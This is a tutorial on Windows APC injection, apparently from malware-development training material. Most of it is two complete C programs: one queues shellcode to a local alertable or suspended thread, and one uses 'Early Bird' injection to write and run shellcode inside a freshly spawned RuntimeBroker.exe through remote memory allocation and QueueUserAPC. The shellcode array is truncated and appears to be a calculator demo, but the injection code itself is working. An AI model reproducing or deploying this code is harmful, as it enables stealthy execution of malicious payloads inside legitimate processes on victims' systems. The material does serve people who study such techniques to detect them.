Asynchronous Procedure Calls are a Windows operating system mechanism that enables programs to execute tasks asynchronously while continuing to run other tasks.
APCs are implemented as kernel-mode routines that are executed in the context of a specific thread. Malware can leverage APCs to queue a payload and then have it execute when scheduled.
Not all threads can run a queued APC function, only threads in an alertable state can do so. An alertable state thread is a thread that is in a wait state. When a thread enters an alertable state it is placed in a queue of alertable threads, allowing it to run queued APC functions.
! The thread must be created in a suspended state, suspending an existing thread will not work.
To queue an APC function to a thread, the address of the APC function must be passed to the QueueUserAPC WinAPI.
Before doing so, a thread in the local process must be placed in an alertable state, this can be done by creating a thread and using one of the following WinAPIs:
SleepEx
MsgWaitForMultipleObjectsEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
SignalObjectAndWait
The implementation logic will be as follows:
First, create a thread that runs one of the previously functions to place it in an alertable state.
Inject the payload into memory.
The thread handle and payload base address will be passed as input parameters to QueueUserAPC.
Then, we must create the APC Injection Function, which will require 3 arguments:
hThread --> A handle to an alertable or suspended thread.
pPayload --> A pointer to the payload's base address.
sPayloadSize --> The size of the payload.
Code:
#include<Windows.h>#include<stdio.h>// if the following is defined, the code will run apc injection using a alertable sacrificial thread,// else if it is commented, the program will create the sacrificial thread in a suspended state, to resume it later (and run the payload)
#defineRUN_BY_ALERTABLETHREAD// Shellcode unsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// ............0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};// if RUN_BY_ALERTABLETHREAD is [not] defined (#ifndef) - then we are using an suspended thread to do apc injection#ifndefRUN_BY_ALERTABLETHREADVOID DummyFunction() {// dummy codeint j =rand();int i = j +rand();}#endif // !RUN_BY_ALERTABLETHREAD// if RUN_BY_ALERTABLETHREAD is defined (#ifdef) - then we are using an alertable thread to do apc injection#ifdefRUN_BY_ALERTABLETHREAD// use one of the following to do apc injection through an alertable threadVOID AlertableFunction1() {SleepEx(INFINITE,TRUE);}VOID AlertableFunction2() { HANDLE hEvent =CreateEvent(NULL,NULL,NULL,NULL);if (hEvent) {WaitForSingleObjectEx(hEvent, INFINITE,TRUE);CloseHandle(hEvent); }}VOID AlertableFunction3() { HANDLE hEvent =CreateEvent(NULL,NULL,NULL,NULL);if (hEvent){WaitForMultipleObjectsEx(1,&hEvent,TRUE, INFINITE,TRUE);CloseHandle(hEvent); }}VOID AlertableFunction4() { HANDLE hEvent =CreateEvent(NULL,NULL,NULL,NULL);if (hEvent) {MsgWaitForMultipleObjectsEx(1,&hEvent, INFINITE, QS_KEY, MWMO_ALERTABLE);CloseHandle(hEvent); }}VOID AlertableFunction5() { HANDLE hEvent1 =CreateEvent(NULL,NULL,NULL,NULL); HANDLE hEvent2 =CreateEvent(NULL,NULL,NULL,NULL);if (hEvent1 && hEvent2) {SignalObjectAndWait(hEvent1, hEvent2, INFINITE,TRUE);CloseHandle(hEvent1);CloseHandle(hEvent2); }}#endif // RUN_BY_ALERTABLETHREAD/*parameters: - hThread is the handle of a alertable or suspended thread to use for apc injection - pPayload is the payload base address - sPayloadSize is the payload size*/BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) { PVOID pAddress =NULL; DWORD dwOldProtection =NULL; pAddress =VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (pAddress ==NULL) {printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());returnFALSE; }memcpy(pAddress, pPayload, sPayloadSize);printf("\t[i] Payload Written To : 0x%p \n", pAddress);if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\t[#] Press <Enter> To Run ... ");getchar();// if `hThread` is in an alertable state, QueueUserAPC will run the payload directly// if `hThread` is in a suspended state, the payload won't be executed unless the thread is resumed afterif (!QueueUserAPC((PAPCFUNC)pAddress, hThread,NULL)) {printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());returnFALSE; }returnTRUE;}intmain(){ HANDLE hThread =NULL; DWORD dwThreadId =NULL;//-------------------------------------------------------------------------------------------#ifndefRUN_BY_ALERTABLETHREAD hThread =CreateThread(NULL,NULL,&DummyFunction,NULL, CREATE_SUSPENDED,&dwThreadId);if (hThread ==NULL) {printf("[!] CreateThread Failed With Error : %d \n", GetLastError());returnFALSE; }printf("[+] Suspended Target Thread Created With Id : %d \n", dwThreadId);#endif // !RUN_BY_ALERTABLETHREAD#ifdefRUN_BY_ALERTABLETHREAD hThread =CreateThread(NULL,NULL,&AlertableFunction5,NULL,NULL,&dwThreadId);if (hThread ==NULL) {printf("[!] CreateThread Failed With Error : %d \n", GetLastError());returnFALSE; }printf("[+] Alertable Target Thread Created With Id : %d \n", dwThreadId);#endif // RUN_BY_ALERTABLETHREAD//-------------------------------------------------------------------------------------------printf("[i] Running Apc Injection Function ... \n");if (!RunViaApcInjection(hThread, Payload,sizeof(Payload))) {return-1; }printf("[+] DONE \n");//-------------------------------------------------------------------------------------------#ifndefRUN_BY_ALERTABLETHREAD// resuming the thread in case we are targetting a suspended threadprintf("[i] Resuming Thread ...");ResumeThread(hThread);printf("[+] DONE \n");#endif // !RUN_BY_ALERTABLETHREAD//-------------------------------------------------------------------------------------------WaitForSingleObject(hThread, INFINITE);printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
Early Bird APC Injection
APC injection requires either a suspended or an alertable thread to execute the payload. It is difficult to come across threads that are in these states, so the solution is creating a suspended process using the CreateProcess WinAPI and use the handle to its suspended thread.
#include<Windows.h>#include<stdio.h>// disable error 4996 (caused by sprint)#pragmawarning (disable:4996)#defineTARGET_PROCESS"RuntimeBroker.exe"unsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,//shellcode .....0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};/* inject the input payload into 'hProcess' and return the base address of where did the payload got written*/BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode, PVOID* ppAddress) { SIZE_T sNumberOfBytesWritten =NULL; DWORD dwOldProtection =NULL;*ppAddress =VirtualAllocEx(hProcess,NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (*ppAddress ==NULL) {printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\n\t[i] Allocated Memory At : 0x%p \n",*ppAddress);printf("\t[#] Press <Enter> To Write Payload ... ");getchar(); if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);if (!VirtualProtectEx(hProcess,*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());returnFALSE; }returnTRUE;}/*Parameters: - lpProcessName; a process name under '\System32\' to create - dwProcessId; Pointer to a DWORD which will recieve the newly created process's PID. - hProcess; Pointer to a HANDLE that will recieve the newly created process's handle. - hThread; Pointer to a HANDLE that will recieve the newly created process's thread.Creates a new process 'lpProcessName' in suspended state and return its pid, handle, and the handle of its main thread*/BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) { CHAR lpPath [MAX_PATH *2]; CHAR WnDr [MAX_PATH]; STARTUPINFO Si = { 0 }; PROCESS_INFORMATION Pi = { 0 };// cleaning the structs RtlSecureZeroMemory(&Si,sizeof(STARTUPINFO));RtlSecureZeroMemory(&Pi,sizeof(PROCESS_INFORMATION));// setting the size of the structureSi.cb =sizeof(STARTUPINFO);// Getting the %WINDIR% environment variable path (this is usually 'C:\Windows')if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());returnFALSE; }// Creating the target process path sprintf(lpPath,"%s\\System32\\%s", WnDr, lpProcessName);printf("\n\t[i] Running : \"%s\" ... ", lpPath);if (!CreateProcessA(NULL, lpPath,NULL,NULL,FALSE, DEBUG_PROCESS, // Substitute of CREATE_SUSPENDED NULL,NULL,&Si,&Pi)) {printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());returnFALSE; } /* { both CREATE_SUSPENDED & DEBUG_PROCESS will work, CREATE_SUSPENDED will need ResumeThread, and DEBUG_PROCESS will need DebugActiveProcessStop to resume the execution } */printf("[+] DONE \n");// Populating the OUTPUT parameter with 'CreateProcessA's output'*dwProcessId =Pi.dwProcessId;*hProcess =Pi.hProcess;*hThread =Pi.hThread;// Doing a check to verify we got everything we needif (*dwProcessId !=NULL&&*hProcess !=NULL&&*hThread !=NULL)returnTRUE;returnFALSE;}intmain() { HANDLE hProcess =NULL, hThread =NULL; DWORD dwProcessId =NULL; PVOID pAddress =NULL;// creating target remote process (in debugged state)printf("[i] Creating \"%s\" Process As A Debugged Process ... ", TARGET_PROCESS);if (!CreateSuspendedProcess2(TARGET_PROCESS,&dwProcessId,&hProcess,&hThread)) {return-1; }printf("\t[i] Target Process Created With Pid : %d \n", dwProcessId);printf("[+] DONE \n\n");// injecting the payload and getting the base address of itprintf("[i] Writing Shellcode To The Target Process ... ");if (!InjectShellcodeToRemoteProcess(hProcess, Payload,sizeof(Payload),&pAddress)) {return-1; }printf("[+] DONE \n\n");// running QueueUserAPCQueueUserAPC((PTHREAD_START_ROUTINE)pAddress, hThread,NULL);printf("[#] Press <Enter> To Run Shellcode ... ");getchar();// since 'CreateSuspendedProcess2' create a process in debug mode,// we need to 'Detach' to resume execution; we do using `DebugActiveProcessStop` printf("[i] Detaching The Target Process ... ");DebugActiveProcessStop(dwProcessId);printf("[+] DONE \n\n");printf("[#] Press <Enter> To Quit ... ");getchar();CloseHandle(hProcess);CloseHandle(hThread);return0;}